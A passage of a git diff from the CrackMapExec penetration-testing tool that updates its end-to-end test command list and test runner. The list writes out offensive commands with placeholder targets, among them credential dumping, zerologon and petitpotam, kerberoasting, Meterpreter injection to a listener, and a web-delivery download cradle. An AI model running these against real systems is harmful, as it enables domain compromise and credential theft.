USERNAME -p PASSWORD KERBEROS -M install_elevated -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -L +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M bh_owned +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M dfscoerce +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M drop-sc +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M drop-sc --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M drop-sc -o CLEANUP=True +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener OBFUSCATE=True +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M enum_av +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M enum_dns +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M enum_dns --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M firefox +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get_netconnections +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M gpp_password +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M handlekatz +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M handlekatz --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M handlekatz -o HANDLEKATZ_EXE_NAME="hk.exe" +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M hash_spider +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M impersonate +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M install_elevated +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver # currently hanging indefinitely - TODO: look into this -#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover -#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M lsassy +#crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M keepass_discover +#crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M lsassy # You must replace this with the proper CA information! -#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA" -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345 -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ms17-010 -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M msol -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nopac -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntdsutil -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntlmv1 -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M petitpotam -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M procdump -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdcman -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=disable -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M runasppl -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M slinky -o NAME=test CLEANUP=True +#crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA" +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345 +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ms17-010 +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M msol +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nanodump +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nopac +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ntdsutil +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ntlmv1 +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M petitpotam +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M procdump +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdcman +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdp --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=disable +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M runasppl +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M slinky -o NAME=test CLEANUP=True # spider_plus takes a while to run, so it is commented out during normal testing -# crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100 -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M teams_localdb -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection -o HOST=localhost -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M uac -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M veeam -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=enable -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=disable -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav -o MSG="Message: {}" -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wifi -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M winscp -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M zerologon -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M bh_owned --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M dfscoerce --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_av --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M firefox --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M get_netconnections --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_password --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M hash_spider --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M impersonate --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M install_elevated --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M lsassy --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ms17-010 --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M msol --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nopac --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntdsutil --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntlmv1 --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M petitpotam --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M procdump --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdcman --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M reg-query --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M runasppl --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M scuffy --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M slinky --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spider_plus --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M teams_localdb --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M uac --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M veeam --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wifi --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M winscp --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M zerologon --options +# crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100 +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M spooler +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M teams_localdb +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M test_connection --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M test_connection -o HOST=localhost +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M uac +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M veeam +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M wdigest --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=enable +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=disable +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M web_delivery --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M webdav +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M webdav --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M webdav -o MSG="Message: {}" +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M wifi +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M winscp +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M zerologon +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M bh_owned --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M dfscoerce --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M empire_exec --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M enum_av --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M firefox --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get_netconnections --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M gpp_password --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M hash_spider --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M impersonate --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M install_elevated --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M keepass_discover --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M lsassy --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M masky --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M met_inject --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ms17-010 --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M msol --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nanodump --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nopac --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ntdsutil --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ntlmv1 --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M petitpotam --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M procdump --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdcman --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M reg-query --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M runasppl --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M scuffy --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M slinky --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M spider_plus --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M spooler --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M teams_localdb --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M uac --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M veeam --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M wifi --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M winscp --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M zerologon --options ##### SMB Anonymous Auth -crackmapexec smb TARGET -u '' -p '' -M zerologon -crackmapexec smb TARGET -u '' -p '' -M petitpotam +crackmapexec smb TARGET_HOST -u '' -p '' -M zerologon +crackmapexec smb TARGET_HOST -u '' -p '' -M petitpotam ##### LDAP -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --users -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --groups -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --get-sid -crackmapexec ldap TARGET -u USERNAME -p '' --asreproast /tmp/output.txt -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --kerberoasting /tmp/output2.txt -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --trusted-for-delegation -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --admin-count -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --gmsa +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --users +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --groups +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --get-sid +crackmapexec ldap TARGET_HOST -u USERNAME -p '' --asreproast /tmp/output.txt +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --kerberoasting /tmp/output2.txt +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --trusted-for-delegation +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --admin-count +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --gmsa ##### LDAP Modules -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -L -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M adcs -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M adcs --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M daclread -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M daclread --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-desc-users -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-desc-users --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-network -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-network --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M groupmembership --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M groupmembership -o USER=USERNAME -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M laps -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M laps --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M ldap-checker -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M ldap-checker --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M maq -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M maq --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M subnets -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M subnets --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M user-desc -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M user-desc --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M whoami -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M whoami --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -L +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M adcs +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M adcs --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M daclread -o TARGET=USERNAME ACTION=read +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M daclread --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get-desc-users +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get-desc-users --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get-network +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get-network --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M groupmembership --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M groupmembership -o USER=USERNAME +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M laps +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M laps --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ldap-checker +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ldap-checker --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M maq +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M maq --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M subnets +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M subnets --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M user-desc +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M user-desc --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M whoami +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M whoami --options ##### WINRM -crackmapexec winrm TARGET -u USERNAME -p PASSWORD KERBEROS -crackmapexec winrm TARGET -u USERNAME -p PASSWORD KERBEROS -X whoami -crackmapexec winrm TARGET -u USERNAME -p PASSWORD KERBEROS --laps -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS +crackmapexec winrm TARGET_HOST -u USERNAME -p PASSWORD KERBEROS # need an extra space after this command due to regex +crackmapexec winrm TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -X whoami +crackmapexec winrm TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --laps +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS ##### MSSQL -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS ##### MSSQL Modules -# crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M empire_exec -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -L -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345 -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject --options -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M mssql_priv -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M mssql_priv --options -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump --options -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection --options -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection -o HOST=localhost -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery --options -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle +# crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD -M empire_exec +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -L +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345 +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M met_inject --options +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M mssql_priv +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M mssql_priv --options +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nanodump +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nanodump --options +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M test_connection --options +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M test_connection -o HOST=localhost +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M web_delivery --options +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle # a bit janky, but we try to enable RDP before testing RDP -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable ##### RDP -crackmapexec rdp TARGET -u USERNAME -p PASSWORD KERBEROS -crackmapexec rdp TARGET -u USERNAME -p PASSWORD KERBEROS --nla-screenshot +crackmapexec rdp TARGET_HOST -u USERNAME -p PASSWORD KERBEROS +crackmapexec rdp TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --nla-screenshot ##### SSH - Uncomment these lines to test SSH; requires the private key "test_key" in the local directory -#crackmapexec ssh TARGET -u USERNAME -p PASSWORD KERBEROS -#crackmapexec ssh TARGET -u USERNAME -p PASSWORD --key-file test_key -#crackmapexec ssh TARGET -u USERNAME --key-file test_key \ No newline at end of file +#crackmapexec ssh TARGET_HOST -u USERNAME -p PASSWORD KERBEROS +#crackmapexec ssh TARGET_HOST -u USERNAME -p PASSWORD --key-file test_key +#crackmapexec ssh TARGET_HOST -u USERNAME --key-file test_key \ No newline at end of file diff --git a/tests/e2e_test.py b/tests/e2e_test.py index 2956a08a..f449e529 100644 --- a/tests/e2e_test.py +++ b/tests/e2e_test.py @@ -5,15 +5,31 @@ from rich.console import Console def get_cli_args(): - parser = argparse.ArgumentParser( - description=f"Script for running end to end tests for CME" - ) + parser = argparse.ArgumentParser(description=f"Script for running end to end tests for CME") parser.add_argument("-t", "--target", dest="target", required=True) parser.add_argument("-u", "--user", "--username", dest="username", required=True) parser.add_argument("-p", "--pass", "--password", dest="password", required=True) - parser.add_argument("-k", "--kerberos", action="store_true", required=False, help="Use kerberos authentication") - parser.add_argument("-v", "--verbose", action="store_true", required=False, help="Display full command output") - parser.add_argument("-e", "--errors", action="store_true", required=False, help="Display errors from commands") + parser.add_argument( + "-k", + "--kerberos", + action="store_true", + required=False, + help="Use kerberos authentication", + ) + parser.add_argument( + "-v", + "--verbose", + action="store_true", + required=False, + help="Display full command output", + ) + parser.add_argument( + "-e", + "--errors", + action="store_true", + required=False, + help="Display errors from commands", + ) parsed_args = parser.parse_args() return parsed_args @@ -35,10 +51,7 @@ def generate_commands(args): if line.startswith("#"): continue line = line.strip() - line = line.replace("TARGET", args.target) \ - .replace("USERNAME", f"\"{args.username}\"") \ - .replace("PASSWORD", f"\"{args.password}\"") \ - .replace("KERBEROS ", kerberos) + line = 